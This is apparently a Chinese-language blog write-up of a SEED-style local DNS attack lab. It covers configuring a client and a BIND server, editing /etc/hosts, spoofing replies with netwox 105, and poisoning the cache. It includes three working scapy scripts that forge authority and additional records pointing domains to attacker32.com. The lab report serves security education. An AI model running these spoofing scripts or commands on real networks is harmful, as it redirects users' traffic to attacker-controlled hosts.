Local DNS Attack
Overview
DNS(Domain name system)域名系统是工作在应用层上面,是对域名和IP地址进行转换的,类似于ARP和RARP协议
在这里我们所要攻击的目标是本地的DNS服务器
整个基本DNS的基本实现思路
Part Ⅰ
task 1:配置用户机器
用sudo vi head来编辑head文件
同时检查/etc/resolv.conf,将其他nameserver进行注解,保证只有一个nameserver只想我们需要的本地DNS服务器(每次重启都需要进行检查)
之后进行测试,输入下面命令
dig www.baidu.com
之后可以在用户机器上面用wireshark抓到对应的包
可以看到用户机器(10.0.2.4)向本地DNS服务器(10.0.2.5)发送了DNS请求并且本地DNS服务器进行了回复
task 2:建立一个本地DNS服务器
按照步骤来进行修改对应的文件
之后使用DNS服务器来进行查询,依旧是ping www.baidu.com
在本地的DNS服务器上面运行wireshark抓包,可以看到此时本地DNS服务器向一些DNS服务器进行询问
而之后再次在用户主机(10.0.2.4)上面ping www.baidu.com,会发现此时在**本地DNS服务器(10.0.2.5)**上面用wireshark抓包会发现没有对应的向其他DNS服务器询问的过程,而是直接访问了百度对应的主机
可以看到没有访问根服务器来进行递归查询的过程
task 3:在本地DNS服务器上面设置域
设置对应的区域
设置正向查找区域文件(实际DNS解析的存储的地方)
这里可以看到在进行查询的时候www.example.com会被定位到192.168.0.101
反向查找的区域文件和上面一样即可
之后dig www.example.com,被定位到192.168.0.101
Part Ⅱ
基本原理:在用户机器发送了一个DNS请求报文之后,攻击者伪造一个DNS response报文,将对应的域名定位到一台恶意主机
task 4:修改主机文件
原理:在用户主机上面保存着一些host name和IP地址对应关系的条目,位于/etc/hosts中,这用来进行本地查找,并且会优先与DNS查询来进行,在这里进行修改的是用户主机
具体实现:
首先在进行修改HOST文件之前进行ping
之后对HOST文件进行修改,选择将其重定位到百度的IP
然后重新进行ping
会发现已经重定位到了百度的IP地址
task 5:对用户直接欺骗响应
原理:嗅探与欺骗,一些要求如下
- The source IP address must match the IP address of the DNS server.
- The destination IP address must match the IP address of the user’s machine.
- The source port number (UDP port) must match the port number that the DNS request was sent to (usually port 53).
- The destination port number must match the port number that the DNS request was sent from
- The UDP checksum must be correctly calculated.
- The transaction ID must match the transaction ID in the DNS request.
- The domain name in the question section of the reply must match the domain name in the question section of the request.
- The domain name in the answer section must match the domain name in the question section of the DNS request.
- The User’s computer must receive the attacker’s DNS reply before it receives the legitimate DNS response.
具体实现:
首先在进行运行命令之前dig
之后在attacker(10.0.2.7)查看一下netwox 105相关的东西
Title: Sniff and send DNS answers Usage: netwox 105 -h hostname -H ip -a hostname -A ip [-d device] Parameters: -h|--hostname hostname hostname {www.example.com} -H|--hostnameip ip hostname IP {1.2.3.4} -a|--authns hostname authoritative name server {ns.example.com} -A|--authnsip ip authns IP {1.2.3.5} -d|--device device device name {Eth0} --help2 display help for advanced parameters Example: netwox 105 -h "www.example.com" -H "1.2.3.4" -a "ns.example.com" -A "1.2.3.5" Example: netwox 105 --hostname "www.example.com" --hostnameip "1.2.3.4" --authns "ns.example.com" --authnsip "1.2.3.5"
运行相关命令,在此之前刷新本地DNS的缓存
sudo netwox 105 --hostname "www.example.net" --hostnameip "1.2.3.4" --authns "ns.example" --authnsip "1.2.3.5"
运行结果
task 6:DNS缓存中毒攻击
在这里,因为按照上面方法攻击用户的话只能是每次用户发一个DNS请求就伪造一个DNS响应,所以我们采取攻击用户主机的本地DNS服务器的方式
具体实现:输入下面netwox命令
sudo netwox 105 --hostname "www.example.net" --hostnameip "10.2.3.4" --authns "ns.example.net" --authnsip "10.2.3.5" --ttl 600 --filter "src host 10.0.2.5" --spoofip raw
之后转存DNS缓存的内容,可以看到相应的欺骗的内容
task 7:DNS缓存中毒:针对权限部分
在这里需要对于DNS报文格式、查询报文格式以及应答报文格式有所了解,参考blog:深入理解DNS报文格式
这个task的原理就是在进行域名查询的时候进一步攻击DNS缓存,不仅仅是一个主机的映射,把整个域名映射到另一台DNS服务器上,而这台服务器是由attacker掌握的,这下就可以将原来域上的任何一个hostname映射到别的IP上面
具体实现:在attacker上面运行相应的嗅探和欺骗程序,之后在用户主机上面dig www.example.com命令
DNS报文格式
#!/usr/bin/python from scapy.all import * def spoof_dns(pkt): if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname): # Swap the source and destination IP address IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Swap the source and destination port number UDPpkt = UDP(dport=pkt[UDP].sport, sport=53) # The Answer Section Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.123') # The Authority Section NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com') # The Additional Section Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='10.2.3.4') # Construct the DNS packet DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, an=Anssec, ns=NSsec1 ,ar=Addsec1) # Construct the entire IP packet and send it out spoofpkt = IPpkt/UDPpkt/DNSpkt send(spoofpkt) # Sniff UDP query packets and invoke spoof_dns(). pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
dig后的截图&wireshark抓包结果
task 8:瞄准另一个域
实现的原理其实和上面并没有什么区别,只不过是额外多构造一个authority报文
具体实现
#!/usr/bin/python from scapy.all import * def spoof_dns(pkt): if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname): # Swap the source and destination IP address IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Swap the source and destination port number UDPpkt = UDP(dport=pkt[UDP].sport, sport=53) # The Answer Section Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.123') # The Authority Section NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com') NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=260000, rdata='attacker32.com') # The Additional Section Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4') Addsec2 = DNSRR(rrname='attacker32,com', type='A', ttl=259200, rdata='5.6.7.8') # Construct the DNS packet DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2) #ar=Addsec1 # Construct the entire IP packet and send it out spoofpkt = IPpkt/UDPpkt/DNSpkt send(spoofpkt) # Sniff UDP query packets and invoke spoof_dns(). pkt = sniff(filter='udp and dst port 53 ', prn=spoof_dns)
运行截图,可以看到已经添加
task 9:针对Additional部分
具体实现
#!/usr/bin/python from scapy.all import * def spoof_dns(pkt): if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname): # Swap the source and destination IP address IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Swap the source and destination port number UDPpkt = UDP(dport=pkt[UDP].sport, sport=53) # The Answer Section Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='123.123.123.123') # The Authority Section NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com') NSsec2 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='ns.example.net') # The Additional Section Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4') Addsec2 = DNSRR(rrname='ns.example.net', type='A', ttl=259200, rdata='5.6.7.8') Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200, rdata='3.4.5.6') # Construct the DNS packet DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=3, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3) # Construct the entire IP packet and send it out spoofpkt = IPpkt/UDPpkt/DNSpkt send(spoofpkt) # Sniff UDP query packets and invoke spoof_dns(). pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
dig之后的显示
之后观察DNS缓存的情况
看到在additional部分中只有attacker32.com ->1.2.3.4和ns.example.net ->5.6.7.8成功的存入DNS缓存,我认为这是由于只有在Additional和Authority匹配的时候才会存入DNS缓存当中
复盘
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!